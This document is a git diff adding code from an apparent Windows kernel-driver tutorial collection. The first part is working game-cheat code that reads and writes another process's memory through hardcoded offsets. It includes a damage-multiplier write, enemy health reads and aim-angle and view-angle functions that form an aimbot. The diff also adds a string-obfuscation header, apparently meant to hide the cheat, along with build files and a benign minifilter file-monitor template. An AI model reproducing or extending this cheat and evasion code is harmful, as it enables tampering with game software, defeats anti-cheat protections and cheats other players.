uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return Vector3(); + + return Read(camera_manager + offsets::camera_translation); + } + Vector3 view_right() + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return Vector3(); + + return Read(camera_manager + offsets::camera_right); + } + Vector3 view_up() + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return Vector3(); + + return Read(camera_manager + offsets::camera_up); + } + + Vector3 view_forward() + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return Vector3(); + + return Read(camera_manager + offsets::camera_forward); + } + + float view_fovx() + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return 0.0f; + + return Read(camera_manager + offsets::camera_fovx); + } + + float view_fovy() + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return 0.0f; + + return Read(camera_manager + offsets::camera_fovy); + } + + Vector3 calc_angle(Vector3 enemypos, Vector3 camerapos) + { + Vector3 dir = enemypos - camerapos; + + float x = asin(dir.z / dir.Length()) * 57.2957795131f; + float z = atan(dir.y / dir.x) * 57.2957795131f; + + if (dir.x >= 0.f) z += 180.f; + if (x > 179.99f) x -= 360.f; + else if (x < -179.99f) x += 360.f; + + return Vector3(x, 0.f, z + 90.f); + } + + bool damage_multiplier() { + if (globals::damage) { + uint64_t damgebase = Read(base_address + offsets::game_manager); //game M + + if (!damgebase) + return false; + + uint64_t dmage = Read(damgebase + 0x1F8); + uint64_t dmage1 = Read(dmage + 0xD8); + uint64_t dmage2 = Read(dmage1 + 0x48); + uint64_t dmage3 = Read(dmage2 + 0x130); + uint64_t dmage4 = Read(dmage3 + 0x130); + uint64_t dmage5 = Read(dmage4 + 0x0); + + Write(dmage5 + 0x40, globals::damagemultiplier); //dmg + } + return true; + } + + uint32_t entity_health(uintptr_t entity) + { + auto r1 = Read(entity + 0x28); + auto r2 = Read(r1 + 0xd8); + auto r3 = Read(r2 + 0x8); + return Read(r3 + 0x148); + } + + Vector4 calculate_quaternion(Vector3 euler) + { + Vector4 result{}; + + auto yaw = (euler.z * 0.01745329251f) * 0.5f; + auto sy = std::sin(yaw); + auto cy = std::cos(yaw); + + auto roll = (euler.x * 0.01745329251f) * 0.5f; + auto sr = std::sin(roll); + auto cr = std::cos(roll); + + constexpr auto sp = 0.f; + constexpr auto cp = 1.f; + + result.x = cy * sr * cp - sy * cr * sp; + result.y = cy * cr * sp + sy * sr * cp; + result.z = sy * cr * cp - cy * sr * sp; + result.w = cy * cr * cp + sy * sr * sp; + + return result; + } + + std::uintptr_t closest_to_fov(Vector3 source_head, Vector3 entity_head, Vector3 source_angle) + { + const auto calc_angle = [](Vector3 src, Vector3 dest) + { + auto delta = src - dest; + + auto y = -asin(delta.z / src.Distance(dest)) * 57.2957795131f; + auto x = (atan2(delta.y, delta.x) * 57.2957795131f) + 90.f; + + if (x > 180.f) x -= 360.f; + else if (x < -180.f) x += 360.f; + + auto clamp = [](Vector3& angle) + { + if (angle.y > 75.f) angle.y = 75.f; + else if (angle.y < -75.f) angle.y = -75.f; + if (angle.x < -180.f) angle.x += -360.f; + else if (angle.x > 180.f) angle.x -= 360.f; + + angle.z = 0.f; + }; + + auto angle = Vector3(x, y, 0.f); + clamp(angle); + + return angle; + }; + + auto aim_angle = calc_angle(source_head, entity_head); + + auto calc_fov = [](Vector3 src, Vector3 aim) + { + aim -= src; + + if (aim.x > 180.f) + aim.x -= 360.f; + else if (aim.x < -180.f) + aim.x += 360.f; + if (aim.y > 180.f) + aim.y -= 360.f; + else if (aim.y < -180.f) + aim.y += 360.f; + + return aim; + }; + + auto angle = calc_fov(source_angle, aim_angle); + + angle.x = std::abs(angle.x); + angle.y = std::abs(angle.y); + + return angle.x + angle.y; + } + + Vector3 calculate_euler(Vector4 quat) + { + auto y_p2 = quat.y * quat.y; + + auto x = std::atan2(2.f * (quat.w * quat.z + quat.x * quat.y), (1.f - 2.f * (y_p2 + quat.z * quat.z))) * 57.2957795131f; + auto y = std::atan2(2.f * (quat.w * quat.x + quat.y * quat.z), (1.f - 2.f * (quat.x * quat.x + y_p2))) * 57.2957795131f; + + return Vector3(x, y, 0.f); + } + + void set_viewangle(std::uintptr_t entity, std::uintptr_t offset, Vector4 value) + { + auto r1 = Read(entity + 0x20); + auto r2 = Read(r1 + 0x1170); + + Write(r2 + offset, value); + } +}; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj" new file mode 100644 index 0000000..5748a6a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj" @@ -0,0 +1,140 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + + + + + + + + + + 15.0 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB} + UserComHook + 10.0.17763.0 + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + true + + + + + Level3 + Disabled + true + true + stdcpp17 + + + + + Level3 + MaxSpeed + true + true + true + true + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + stdcpp17 + _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + + + true + true + d3d11.lib;d3dcompiler.lib;dxgi.lib;dxguid.lib;%(AdditionalDependencies) + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.filters" new file mode 100644 index 0000000..e812fbf --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.filters" @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.user" new file mode 100644 index 0000000..be25078 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/usermode.vcxproj.user" @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/vectors.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/vectors.h" new file mode 100644 index 0000000..7696071 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/vectors.h" @@ -0,0 +1,124 @@ +#pragma once +#include +#include + +#define M_PI 3.14159265358979323846264338327950288419716939937510 + +//Vector2 +class Vector2 +{ +public: + Vector2() : x(0.f), y(0.f) + { + + } + + Vector2(float _x, float _y) : x(_x), y(_y) + { + + } + ~Vector2() + { + + } + + float x; + float y; +}; + +//Vector3 +class Vector3 +{ +public: + Vector3() : x(0.f), y(0.f), z(0.f) + { + + } + + Vector3(float _x, float _y, float _z) : x(_x), y(_y), z(_z) + { + + } + ~Vector3() + { + + } + + float x; + float y; + float z; + + inline float Dot(Vector3 v) + { + return x * v.x + y * v.y + z * v.z; + } + + inline float Distance(Vector3 v) + { + return float(sqrtf(powf(v.x - x, 2.0) + powf(v.y - y, 2.0) + powf(v.z - z, 2.0))); + } + inline float Length() + { + float ls = x * x + y * y + z * z; + return sqrt(ls); + } + + Vector3 operator+(Vector3 v) + { + return Vector3(x + v.x, y + v.y, z + v.z); + } + + Vector3 operator-(Vector3 v) + { + return Vector3(x - v.x, y - v.y, z - v.z); + } + + Vector3 operator*(float number) const { + return Vector3(x * number, y * number, z * number); + } + + Vector3& operator-=( const Vector3& v ) + { + x -= v.x; + y -= v.y; + z -= v.z; + + return *this; + } + + + void clamp() + { + if ( x > 75.f ) x = 75.f; + else if (x < -75.f ) x = -75.f; + if ( z < -180 ) z += 360.0f; + else if ( z > 180 ) z -= 360.0f; + + y = 0.f; + } + +}; + +//Vector4 +class Vector4 +{ +public: + Vector4() : x(0.f), y(0.f), z(0.f), w(0.f) + { + + } + + Vector4(float _x, float _y, float _z, float _w) : x(_x), y(_y), z(_z), w(_w) + { + + } + ~Vector4() + { + + } + + float x; + float y; + float z; + float w; +}; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/xor.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/xor.h" new file mode 100644 index 0000000..e286213 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/xor.h" @@ -0,0 +1,252 @@ +#pragma once +/* + * Copyright 2017 - 2018 Justas Masiulis + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#define JM_XORSTR_DISABLE_AVX_INTRINSICS 1 + +#ifndef JM_XORSTR_HPP +#define JM_XORSTR_HPP + +#include +#include +#include +#include + +#define xorstr(str) \ + ::jm::make_xorstr( \ + []() { return str; }, \ + std::make_index_sequence{}, \ + std::make_index_sequence<::jm::detail::_buffer_size()>{}) +#define xorstr_(str) xorstr(str).crypt_get() + +#ifdef _MSC_VER +#define XORSTR_FORCEINLINE __forceinline +#else +#define XORSTR_FORCEINLINE __attribute__((always_inline)) +#endif + + // you can define this macro to get possibly faster code on gcc/clang + // at the expense of constants being put into data section. +#if !defined(XORSTR_ALLOW_DATA) +// MSVC - no volatile +// GCC and clang - volatile everywhere +#if defined(__clang__) || defined(__GNUC__) +#define XORSTR_VOLATILE volatile +#endif + +#endif +#ifndef XORSTR_VOLATILE +#define XORSTR_VOLATILE +#endif + +namespace jm { + + namespace detail { + + template + struct unsigned_; + + template<> + struct unsigned_<1> { + using type = std::uint8_t; + }; + template<> + struct unsigned_<2> { + using type = std::uint16_t; + }; + template<> + struct unsigned_<4> { + using type = std::uint32_t; + }; + + template + struct pack_value_type { + using type = decltype(C); + }; + + template + constexpr std::size_t _buffer_size() + { + return ((Size / 16) + (Size % 16 != 0)) * 2; + } + + template + struct tstring_ { + using value_type = typename pack_value_type::type; + constexpr static std::size_t size = sizeof...(Cs); + constexpr static value_type str[size] = { Cs... }; + + constexpr static std::size_t buffer_size = _buffer_size(); + constexpr static std::size_t buffer_align = +#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS + ((sizeof(str) > 16) ? 32 : 16); +#else + 16; +#endif + }; + + template + struct _ki { + constexpr static std::size_t idx = I; + constexpr static std::uint64_t key = K; + }; + + template + constexpr std::uint32_t key4() noexcept + { + std::uint32_t value = Seed; + for (char c : __TIME__) + value = static_cast((value ^ c) * 16777619ull); + return value; + } + + template + constexpr std::uint64_t key8() + { + constexpr auto first_part = key4<2166136261 + S>(); + constexpr auto second_part = key4(); + return (static_cast(first_part) << 32) | second_part; + } + + // clang and gcc try really hard to place the constants in data + // sections. to counter that there was a need to create an intermediate + // constexpr string and then copy it into a non constexpr container with + // volatile storage so that the constants would be placed directly into + // code. + template + struct string_storage { + std::uint64_t storage[T::buffer_size]; + + XORSTR_FORCEINLINE constexpr string_storage() noexcept : storage{ Keys... } + { + using cast_type = + typename unsigned_::type; + constexpr auto value_size = sizeof(typename T::value_type); + // puts the string into 64 bit integer blocks in a constexpr + // fashion + for (std::size_t i = 0; i < T::size; ++i) + storage[i / (8 / value_size)] ^= + (std::uint64_t{ static_cast(T::str[i]) } + << ((i % (8 / value_size)) * 8 * value_size)); + } + }; + + } // namespace detail + + template + class xor_string { + alignas(T::buffer_align) std::uint64_t _storage[T::buffer_size]; + + // _single functions needed because MSVC crashes without them + XORSTR_FORCEINLINE void _crypt_256_single(const std::uint64_t* keys, + std::uint64_t* storage) noexcept + + { + _mm256_store_si256( + reinterpret_cast<__m256i*>(storage), + _mm256_xor_si256( + _mm256_load_si256(reinterpret_cast(storage)), + _mm256_load_si256(reinterpret_cast(keys)))); + } + + template + XORSTR_FORCEINLINE void _crypt_256(const std::uint64_t* keys, + std::index_sequence) noexcept + { + (_crypt_256_single(keys + Idxs * 4, _storage + Idxs * 4), ...); + } + + XORSTR_FORCEINLINE void _crypt_128_single(const std::uint64_t* keys, + std::uint64_t* storage) noexcept + { + _mm_store_si128( + reinterpret_cast<__m128i*>(storage), + _mm_xor_si128(_mm_load_si128(reinterpret_cast(storage)), + _mm_load_si128(reinterpret_cast(keys)))); + } + + template + XORSTR_FORCEINLINE void _crypt_128(const std::uint64_t* keys, + std::index_sequence) noexcept + { + (_crypt_128_single(keys + Idxs * 2, _storage + Idxs * 2), ...); + } + + // loop generates vectorized code which places constants in data dir + XORSTR_FORCEINLINE constexpr void _copy() noexcept + { + constexpr detail::string_storage storage; + static_cast(std::initializer_list{ + (const_cast(_storage))[Keys::idx] = + storage.storage[Keys::idx]... }); + } + + public: + using value_type = typename T::value_type; + using size_type = std::size_t; + using pointer = value_type *; + using const_pointer = const pointer; + + XORSTR_FORCEINLINE xor_string() noexcept { _copy(); } + + XORSTR_FORCEINLINE constexpr size_type size() const noexcept + { + return T::size - 1; + } + + XORSTR_FORCEINLINE void crypt() noexcept + { + alignas(T::buffer_align) std::uint64_t keys[T::buffer_size]; + static_cast(std::initializer_list{ + (const_cast(keys))[Keys::idx] = + Keys::key... }); + + _copy(); + +#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS + _crypt_256(keys, std::make_index_sequence{}); + if constexpr (T::buffer_size % 4 != 0) + _crypt_128(keys, std::index_sequence{}); +#else + _crypt_128(keys, std::make_index_sequence{}); +#endif + } + + XORSTR_FORCEINLINE const_pointer get() const noexcept + { + return reinterpret_cast(_storage); + } + + XORSTR_FORCEINLINE const_pointer crypt_get() noexcept + { + crypt(); + return reinterpret_cast(_storage); + } + }; + + template + XORSTR_FORCEINLINE constexpr auto + make_xorstr(Tstr str_lambda, + std::index_sequence, + std::index_sequence) noexcept + { + return xor_string, + detail::_ki()>...>{}; + } + +} // namespace jm + +#endif // include guard \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.sln" new file mode 100644 index 0000000..e7f3c2c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Minifilter_FileMonitor_Test", "Minifilter_FileMonitor_Test\Minifilter_FileMonitor_Test.vcxproj", "{957FF6D1-49CB-43A6-8D21-5E8170AA5266}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {957FF6D1-49CB-43A6-8D21-5E8170AA5266}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.v12.suo" new file mode 100644 index 0000000..71499d4 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.c" new file mode 100644 index 0000000..78a2a66 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test/Minifilter_FileMonitor_Test.c" @@ -0,0 +1,974 @@ +/*++ + +Module Name: + + Minifilter_FileMonitor_Test.c + +Abstract: + + This is the main module of the Minifilter_FileMonitor_Test miniFilter driver. + +Environment: + + Kernel mode + +--*/ + +#include +#include +#include + +#pragma prefast(disable:__WARNING_ENCODE_MEMBER_FUNCTION_POINTER, "Not valid for kernel mode drivers") + + +PFLT_FILTER gFilterHandle; +ULONG_PTR OperationStatusCtx = 1; + +#define PTDBG_TRACE_ROUTINES 0x00000001 +#define PTDBG_TRACE_OPERATION_STATUS 0x00000002 + +ULONG gTraceFlags = 0; + + +#define PT_DBG_PRINT( _dbgLevel, _string ) \ + (FlagOn(gTraceFlags,(_dbgLevel)) ? \ + DbgPrint _string : \ + ((int)0)) + +/************************************************************************* + Prototypes +*************************************************************************/ + +DRIVER_INITIALIZE DriverEntry; +NTSTATUS +DriverEntry ( + _In_ PDRIVER_OBJECT DriverObject, + _In_ PUNICODE_STRING RegistryPath + ); + +NTSTATUS +Minifilter_FileMonitor_TestInstanceSetup ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_SETUP_FLAGS Flags, + _In_ DEVICE_TYPE VolumeDeviceType, + _In_ FLT_FILESYSTEM_TYPE VolumeFilesystemType + ); + +VOID +Minifilter_FileMonitor_TestInstanceTeardownStart ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_TEARDOWN_FLAGS Flags + ); + +VOID +Minifilter_FileMonitor_TestInstanceTeardownComplete ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_TEARDOWN_FLAGS Flags + ); + +NTSTATUS +Minifilter_FileMonitor_TestUnload ( + _In_ FLT_FILTER_UNLOAD_FLAGS Flags + ); + +NTSTATUS +Minifilter_FileMonitor_TestInstanceQueryTeardown ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ FLT_INSTANCE_QUERY_TEARDOWN_FLAGS Flags + ); + +FLT_PREOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPreOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _Flt_CompletionContext_Outptr_ PVOID *CompletionContext + ); + +VOID +Minifilter_FileMonitor_TestOperationStatusCallback ( + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_ PFLT_IO_PARAMETER_BLOCK ParameterSnapshot, + _In_ NTSTATUS OperationStatus, + _In_ PVOID RequesterContext + ); + +FLT_POSTOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPostOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _In_opt_ PVOID CompletionContext, + _In_ FLT_POST_OPERATION_FLAGS Flags + ); + +FLT_PREOP_CALLBACK_STATUS +Minifilter_FileMonitor_TestPreOperationNoPostOperation ( + _Inout_ PFLT_CALLBACK_DATA Data, + _In_ PCFLT_RELATED_OBJECTS FltObjects, + _Flt_CompletionContext_Outptr_ PVOID *CompletionContext + ); + +BOOLEAN +Minifilter_FileMonitor_TestDoRequestOperationStatus( + _In_ PFLT_CALLBACK_DATA Data + ); + +// +// Assign text sections for each routine. +// + +#ifdef ALLOC_PRAGMA +#pragma alloc_text(INIT, DriverEntry) +#pragma alloc_text(PAGE, Minifilter_FileMonitor_TestUnload) +#pragma alloc_text(PAGE, Minifilter_FileMonitor_TestInstanceQueryTeardown) +#pragma alloc_text(PAGE, Minifilter_FileMonitor_TestInstanceSetup) +#pragma alloc_text(PAGE, Minifilter_FileMonitor_TestInstanceTeardownStart) +#pragma alloc_text(PAGE, Minifilter_FileMonitor_TestInstanceTeardownComplete) +#endif + +// +// operation registration +// + +CONST FLT_OPERATION_REGISTRATION Callbacks[] = { + + { IRP_MJ_CREATE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_READ, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_WRITE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SET_INFORMATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + +#if 0 // TODO - List all of the requests to filter. + { IRP_MJ_CREATE_NAMED_PIPE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_CLOSE, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_QUERY_INFORMATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_QUERY_EA, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SET_EA, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_FLUSH_BUFFERS, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_QUERY_VOLUME_INFORMATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_SET_VOLUME_INFORMATION, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_DIRECTORY_CONTROL, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_FILE_SYSTEM_CONTROL, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { IRP_MJ_DEVICE_CONTROL, + 0, + Minifilter_FileMonitor_TestPreOperation, + Minifilter_FileMonitor_TestPostOperation }, + + { 